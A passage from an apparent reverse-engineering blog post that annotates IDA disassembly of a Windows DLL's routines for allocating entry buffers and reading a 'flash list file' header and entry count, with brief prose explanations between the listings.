</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002437 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">_CxxThrowException
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000243C </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000243C
.text:1000243C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_1000243C: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+12Fj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000243C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFFFFFFFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000243E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000243F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, offset unk_10008430
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002444 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_10003060
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002449 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp ebx, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000244B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jnz short loc_1000249E
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000244D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, dword_10008434
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002453 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp edi, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002455 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_1000248D
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002457 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov esi, dword_10008438
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000245D
.text:1000245D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_1000245D: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+180j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000245D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000245F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">dec esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002460 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">test ecx, ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002462 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jz short loc_10002472
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002464 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; char
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002466 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, edi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; void *
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002468 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_100040E0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000246D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add edi, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">10h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002470 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jmp short loc_1000245D
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002472 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002472
.text:10002472 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10002472: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+172j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002472 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edx, dword_10008434
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002478 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edx </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; void *
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002479 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??3@YAXPAX@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; operator delete(void *)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000247E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002481 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dword_10008434, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000248B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor esi, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000248D
.text:1000248D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_1000248D: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+165j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000248D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dword_1000843C, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002493 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dword_10008438, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10002499 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jmp loc_100025C7
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000249E </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000249E
.text:1000249E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_1000249E: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+15Bj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000249E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edx, dword_10008434
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024A4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp edx, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024A6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jnz short loc_100024D3
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024A8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024AA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">shl eax, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024AD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; unsigned int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024AE </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">??2@YAPAXI@Z </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; operator new(uint)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024B3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024B6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dword_10008434, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024BB </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024BC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024BD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_10003DF0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024C2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dword_1000843C, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024C8
.text:100024C8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100024C8: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0:loc_10002501j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024C8 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; sub_100022F0+223j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024C8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dword_10008438, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024CE </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jmp loc_100025C7
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024D3 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024D3
.text:100024D3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_100024D3: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+1B6j
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024D3 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, dword_1000843C
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024D9 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp ebx, ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024DB </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jg short loc_10002523
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024DD </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, dword_10008438
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024E2 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">cmp eax, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024E4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jge short loc_10002501
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024E6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024E8 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">sub ecx, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024EA </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">shl eax, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024ED </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add eax, edx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024EF </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ecx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024F0 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024F1 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_10003DF0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024F6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov dword_10008438, ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100024FC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jmp loc_100025C7
</span><br />
<div>
<span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;"><br /></span></div>
<br />
This function uses another function to read the header and get the number of entries on the flash list file , <span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">sub_10004220</span><br />
<br />
<span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220
.text:10004220 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; =============== S U B R O U T I N E =======================================
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220
.text:10004220
.text:10004220 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int __cdecl sub_10004220(LPCSTR lpFileName, int)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">sub_10004220 proc near </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_100022F0+55p
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220
.text:10004220 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_100 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-100h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_DC </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-0DCh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_D4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-0D4h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">lpFileName </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">8
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004220
.text:10004220 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ecx, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">lpFileName</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004224 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">sub esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000422A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">lea eax, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_100</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000422E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000422F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004230 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ecx </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpFileName
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004231 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor esi, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004233 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">call sub_10004270
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004238 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">8
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000423B </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">test eax, eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000423D </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">jnz short loc_10004247
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000423F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">pop esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004240 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">add esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">100h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004246 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">retn
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004247 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; ---------------------------------------------------------------------------
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004247
.text:10004247 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">loc_10004247: </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004220+1Dj
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004247 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edx, [esp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">104h</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_DC</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><br />
<div>
<span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;"><br /></span></div>
<div>
<span style="font-family: inherit;"><span style="white-space: pre;">This one above checks if the file has been read successfully and if yes, it returns the number of entries of the flash list file.</span></span></div>
<div>
<span style="font-family: inherit;"><span style="white-space: pre;"><br /></span></span></div>
<div>
<span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270
.text:10004270 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; =============== S U B R O U T I N E =======================================
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270
.text:10004270 </span><span style="color: grey; font-family: 'Liberation Mono'; white-space: pre;">; Attributes: bp-based frame
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270
.text:10004270 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; int __cdecl sub_10004270(LPCSTR lpFileName, int)
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">sub_10004270 proc near </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">; CODE XREF: sub_10004220+13p
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270
.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">Buffer </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-328h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_228 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-228h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_128 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= byte ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-128h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">dwErrCode </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-28h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">NumberOfBytesRead</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-24h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_20 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-20h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_1C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-1Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_18 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-18h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_14 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-14h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_10 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-10h
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_C </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-0Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">-4
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">lpFileName </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">8
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270 </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">arg_4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">= dword ptr </span><span style="color: #008040; font-family: 'Liberation Mono'; white-space: pre;">0Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004270
.text:10004270 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004271 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov ebp, esp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004273 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0FFFFFFFFh
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004275 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push offset SEH_10004270
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000427A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, large fs:</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004280 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push eax
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004281 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov large fs:</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">0</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">, esp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004288 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">sub esp, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">31Ch
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000428E </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push ebx
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000428F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004290 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov eax, [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">lpFileName</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">]
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004293 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004294 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">xor esi, esi
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004296 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov [ebp+</span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">var_10</span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">], esp
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:10004299 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; hTemplateFile
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000429A </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">80h </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwFlagsAndAttributes
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:1000429F </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">mov edi, </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">1
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042A4 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push </span><span style="color: green; font-family: 'Liberation Mono'; white-space: pre;">3 </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwCreationDisposition
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042A6 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push esi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; lpSecurityAttributes
</span><span style="font-family: 'Liberation Mono'; white-space: pre;">.text:100042A7 </span><span style="color: navy; font-family: 'Liberation Mono'; white-space: pre;">push edi </span><span style="background-color: white; color: blue; font-family: 'Liberation Mono'; white-space: pre;">; dwShareMode
